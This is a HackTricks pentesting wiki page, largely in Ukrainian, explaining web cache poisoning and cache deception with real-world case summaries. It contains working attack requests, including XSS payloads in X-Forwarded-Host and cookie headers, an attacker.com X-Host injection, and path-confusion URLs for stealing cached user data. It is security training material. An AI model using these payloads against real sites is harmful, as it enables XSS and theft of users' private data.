hacktricks/pentesting-web/cache-deception

Cache Poisoning and Cache Deception

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!
• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

{% endhint %}

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}

The difference

Яка різниця між отруєнням кешу веб-додатків та обманом кешу веб-додатків?

• У отруєнні кешу веб-додатків зловмисник змушує додаток зберігати деякий шкідливий контент у кеші, і цей контент надається іншим користувачам додатка з кешу.
• У обмані кешу веб-додатків зловмисник змушує додаток зберігати деякий чутливий контент, що належить іншому користувачу, у кеші, а потім зловмисник отримує цей контент з кешу.

Cache Poisoning

Отруєння кешу спрямоване на маніпулювання кешем на стороні клієнта, щоб змусити клієнтів завантажувати ресурси, які є несподіваними, частковими або під контролем зловмисника. Ступінь впливу залежить від популярності ураженої сторінки, оскільки забруднена відповідь надається виключно користувачам, які відвідують сторінку під час періоду забруднення кешу.

Виконання атаки отруєння кешу включає кілька етапів:

1. Ідентифікація незахищених параметрів: Це параметри, які, хоча й не є обов'язковими для кешування запиту, можуть змінити відповідь, що повертається сервером. Ідентифікація цих параметрів є критично важливою, оскільки їх можна використовувати для маніпуляції кешем.
2. Експлуатація незахищених параметрів: Після ідентифікації незахищених параметрів наступним кроком є з'ясування, як зловживати цими параметрами, щоб змінити відповідь сервера на користь зловмисника.
3. Забезпечення кешування отруєної відповіді: Останній крок полягає в тому, щоб переконатися, що маніпульована відповідь зберігається в кеші. Таким чином, будь-який користувач, який отримує доступ до ураженої сторінки під час отруєння кешу, отримає забруднену відповідь.

Discovery: Check HTTP headers

Зазвичай, коли відповідь була збережена в кеші, буде заголовок, що це вказує, ви можете перевірити, на які заголовки слід звернути увагу в цьому пості: HTTP Cache headers.

Discovery: Caching error codes

Якщо ви думаєте, що відповідь зберігається в кеші, ви можете спробувати надіслати запити з неправильним заголовком, на які має бути відповідь з кодом статусу 400. Потім спробуйте отримати доступ до запиту нормально, і якщо відповідь має код статусу 400, ви знаєте, що це вразливо (і ви навіть можете виконати DoS).

Ви можете знайти більше варіантів у:

{% content-ref url="cache-poisoning-to-dos.md" %} cache-poisoning-to-dos.md {% endcontent-ref %}

Однак зверніть увагу, що іноді такі коди статусу не кешуються, тому цей тест може бути ненадійним.

Discovery: Identify and evaluate unkeyed inputs

Ви можете використовувати Param Miner для грубої сили параметрів і заголовків, які можуть змінювати відповідь сторінки. Наприклад, сторінка може використовувати заголовок X-Forwarded-For, щоб вказати клієнту завантажити скрипт звідти:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Викликати шкідливу відповідь від серверу

З ідентифікованим параметром/заголовком перевірте, як він санітується і де він відображається або впливає на відповідь з заголовка. Чи можете ви зловживати цим (виконати XSS або завантажити JS-код, контрольований вами? виконати DoS?...)

Отримати відповідь в кеші

Якщо ви ідентифікували сторінку, яку можна зловживати, який параметр/заголовок використовувати і як його зловживати, вам потрібно отримати сторінку в кеш. Залежно від ресурсу, який ви намагаєтеся отримати в кеш, це може зайняти деякий час, вам, можливо, доведеться намагатися протягом кількох секунд.
Заголовок X-Cache у відповіді може бути дуже корисним, оскільки він може мати значення miss, коли запит не був закешований, і значення hit, коли він закешований.
Заголовок Cache-Control також цікаво знати, чи ресурс кешується і коли наступного разу ресурс буде закешований знову: Cache-Control: public, max-age=1800
Ще один цікавий заголовок - Vary. Цей заголовок часто використовується для вказівки додаткових заголовків, які розглядаються як частина ключа кешу, навіть якщо вони зазвичай не мають ключа. Тому, якщо користувач знає User-Agent жертви, на яку він націлений, він може отруїти кеш для користувачів, які використовують цей конкретний User-Agent.
Ще один заголовок, пов'язаний з кешем, - Age. Він визначає час у секундах, протягом якого об'єкт перебував у проксі-кеші.

При кешуванні запиту будьте обережні з заголовками, які ви використовуєте, оскільки деякі з них можуть бути використані несподівано як ключові, і жертва повинна буде використовувати той самий заголовок. Завжди тестуйте отруєння кешу з різними браузерами, щоб перевірити, чи це працює.

Приклади експлуатації

Найпростіший приклад

Заголовок, як-от X-Forwarded-For, відображається у відповіді без санітизації.
Ви можете надіслати базовий XSS-пейлоад і отруїти кеш, щоб усі, хто отримує доступ до сторінки, стали жертвами XSS:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Зверніть увагу, що це отруїть запит до /en?region=uk, а не до /en

Отруєння кешу для DoS

{% content-ref url="cache-poisoning-to-dos.md" %} cache-poisoning-to-dos.md {% endcontent-ref %}

Використання отруєння веб-кешу для експлуатації вразливостей обробки куків

Куки також можуть бути відображені у відповіді сторінки. Якщо ви зможете зловживати цим, щоб викликати XSS, наприклад, ви зможете експлуатувати XSS у кількох клієнтах, які завантажують шкідливу відповідь кешу.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Зверніть увагу, що якщо вразливий cookie дуже часто використовується користувачами, регулярні запити очищатимуть кеш.

Отруєння кешу з обходом шляху для викрадення API ключа

Цей звіт пояснює, як було можливим викрасти API ключ OpenAI за допомогою URL, як-от https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123, оскільки все, що відповідає /share/*, буде кешуватися без нормалізації URL Cloudflare, що було зроблено, коли запит досяг веб-сервера.

Використання кількох заголовків для експлуатації вразливостей отруєння веб-кешу

Іноді вам потрібно буде експлуатувати кілька незахищених вхідних даних, щоб мати можливість зловживати кешем. Наприклад, ви можете знайти Відкритий редирект, якщо ви встановите X-Forwarded-Host на домен, що контролюється вами, а X-Forwarded-Scheme на http. Якщо сервер пересилає всі HTTP запити на HTTPS і використовує заголовок X-Forwarded-Scheme як ім'я домену для редиректу. Ви можете контролювати, куди вказується сторінка за допомогою редиректу.

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Використання з обмеженим Vary заголовком

Якщо ви виявили, що X-Host заголовок використовується як ім'я домену для завантаження JS ресурсу, але Vary заголовок у відповіді вказує на User-Agent. Тоді вам потрібно знайти спосіб ексфільтрувати User-Agent жертви та отруїти кеш, використовуючи цей User-Agent:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

Відправте GET запит з запитом в URL та в тілі. Якщо веб-сервер використовує той, що в тілі, але кеш-сервер кешує той, що в URL, будь-хто, хто отримує доступ до цього URL, насправді використовуватиме параметр з тіла. Як у вразливості, яку знайшов Джеймс Кеттл на сайті Github:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

There it a portswigger lab about this: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

Наприклад, можливо розділити параметри на ruby серверах, використовуючи символ ; замість &. Це може бути використано для вставлення значень непараметризованих параметрів всередину параметризованих і їх зловживання.

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

Дізнайтеся тут, як виконати атаки Cache Poisoning, зловживаючи HTTP Request Smuggling.

Automated testing for Web Cache Poisoning

Web Cache Vulnerability Scanner може бути використаний для автоматичного тестування на наявність вразливостей до web cache poisoning. Він підтримує багато різних технік і є високонастроюваним.

Приклад використання: wcvs -u example.com

Використовуйте Trickest, щоб легко створювати та автоматизувати робочі процеси, підтримувані найсучаснішими інструментами спільноти.
Отримайте доступ сьогодні:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}

Vulnerable Examples

Apache Traffic Server (CVE-2021-27577)

ATS переслав фрагмент всередині URL без його видалення і згенерував ключ кешу, використовуючи лише хост, шлях і запит (ігноруючи фрагмент). Тому запит /#/../?r=javascript:alert(1) був надісланий на бекенд як /#/../?r=javascript:alert(1), і ключ кешу не містив корисного навантаження, лише хост, шлях і запит.

GitHub CP-DoS

Надсилання неправильного значення в заголовку content-type викликало кешовану відповідь 405. Ключ кешу містив cookie, тому було можливо атакувати лише неавторизованих користувачів.

GitLab + GCP CP-DoS

GitLab використовує GCP buckets для зберігання статичного контенту. GCP Buckets підтримують заголовок x-http-method-override. Тому було можливо надіслати заголовок x-http-method-override: HEAD і отруїти кеш, щоб він повертав порожнє тіло відповіді. Це також могло підтримувати метод PURGE.

Rack Middleware (Ruby on Rails)

У додатках Ruby on Rails часто використовується Rack middleware. Мета коду Rack полягає в тому, щоб взяти значення заголовка x-forwarded-scheme і встановити його як схему запиту. Коли надсилається заголовок x-forwarded-scheme: http, відбувається перенаправлення 301 на те ж місце, що може призвести до відмови в обслуговуванні (DoS) цього ресурсу. Крім того, додаток може визнати заголовок X-forwarded-host і перенаправити користувачів на вказаний хост. Ця поведінка може призвести до завантаження JavaScript файлів з сервера зловмисника, що становить загрозу безпеці.

403 and Storage Buckets

Cloudflare раніше кешував відповіді 403. Спроба доступу до S3 або Azure Storage Blobs з неправильними заголовками авторизації призводила до відповіді 403, яка кешувалася. Хоча Cloudflare припинив кешування відповідей 403, ця поведінка може все ще бути присутня в інших проксі-сервісах.

Injecting Keyed Parameters

Кеші часто включають специфічні GET параметри в ключ кешу. Наприклад, Varnish від Fastly кешував параметр size у запитах. Однак, якщо URL-кодована версія параметра (наприклад, siz%65) також була надіслана з помилковим значенням, ключ кешу буде сформований, використовуючи правильний параметр size. Проте бекенд обробляв значення в URL-кодованому параметрі. URL-кодування другого параметра size призвело до його пропуску кешем, але його використання бекендом. Призначення значення 0 цьому параметру призвело до кешованої помилки 400 Bad Request.

User Agent Rules

Деякі розробники блокують запити з user-agent, які відповідають інструментам з високим трафіком, таким як FFUF або Nuclei, щоб управляти навантаженням на сервер. Іронічно, цей підхід може ввести вразливості, такі як отруєння кешу та DoS.

Illegal Header Fields

RFC7230 визначає прийнятні символи в іменах заголовків. Заголовки, що містять символи поза вказаним діапазоном tchar, повинні ідеально викликати відповідь 400 Bad Request. На практиці сервери не завжди дотримуються цього стандарту. Яскравим прикладом є Akamai, який пересилає заголовки з недійсними символами і кешує будь-яку помилку 400, якщо заголовок cache-control відсутній. Було виявлено експлуатовану схему, де надсилання заголовка з недійсним символом, таким як \, призводило до кешованої помилки 400 Bad Request.

Finding new headers

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

Мета Cache Deception полягає в тому, щоб змусити клієнтів завантажувати ресурси, які будуть збережені кешем з їх чутливою інформацією.

Перш за все, зверніть увагу, що розширення, такі як .css, .js, .png тощо, зазвичай конфігуровані для збереження в кеші. Тому, якщо ви отримуєте доступ до www.example.com/profile.php/nonexistent.js, кеш, ймовірно, зберігатиме відповідь, оскільки бачить розширення .js. Але, якщо додаток відповідає з чутливими даними користувача, збереженими в www.example.com/profile.php, ви можете вкрасти ці дані у інших користувачів.

Інші речі для тестування:

• www.example.com/profile.php/.js
• www.example.com/profile.php/.css
• www.example.com/profile.php/test.js
• www.example.com/profile.php/../test.js
• www.example.com/profile.php/%2e%2e/test.js
• Використовуйте менш відомі розширення, такі як .avif

Ще один дуже чіткий приклад можна знайти в цьому звіті: https://hackerone.com/reports/593712.
У прикладі пояснюється, що якщо ви завантажите неіснуючу сторінку, таку як http://www.example.com/home.php/non-existent.css, вміст http://www.example.com/home.php (з чутливою інформацією користувача) буде повернуто, і сервер кешу збережеться результат.
Тоді зловмисник може отримати доступ до http://www.example.com/home.php/non-existent.css у своєму браузері та спостерігати за конфіденційною інформацією користувачів, які отримали доступ раніше.

Зверніть увагу, що кеш-проксі повинні бути сконфігуровані для кешування файлів на основі розширення файлу (.css) і не на основі content-type. У прикладі http://www.example.com/home.php/non-existent.css буде мати content-type text/html замість mime-типу text/css (який очікується для .css файлу).

Дізнайтеся тут, як виконати атаки Cache Deceptions, зловживаючи HTTP Request Smuggling.

Automatic Tools

• toxicache: сканер на Golang для виявлення вразливостей web cache poisoning у списку URL-адрес і тестування кількох технік ін'єкцій.

References

• https://portswigger.net/web-security/web-cache-poisoning
• https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
• https://hackerone.com/reports/593712
• https://youst.in/posts/cache-poisoning-at-scale/
• https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
• https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/

Використовуйте Trickest, щоб легко створювати та автоматизувати робочі процеси, підтримувані найсучаснішими інструментами спільноти.
Отримайте доступ сьогодні:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}

{% hint style="success" %} Дізнайтеся та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Дізнайтеся та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримати HackTricks

• Перевірте плани підписки!
• Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
• Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.

{% endhint %}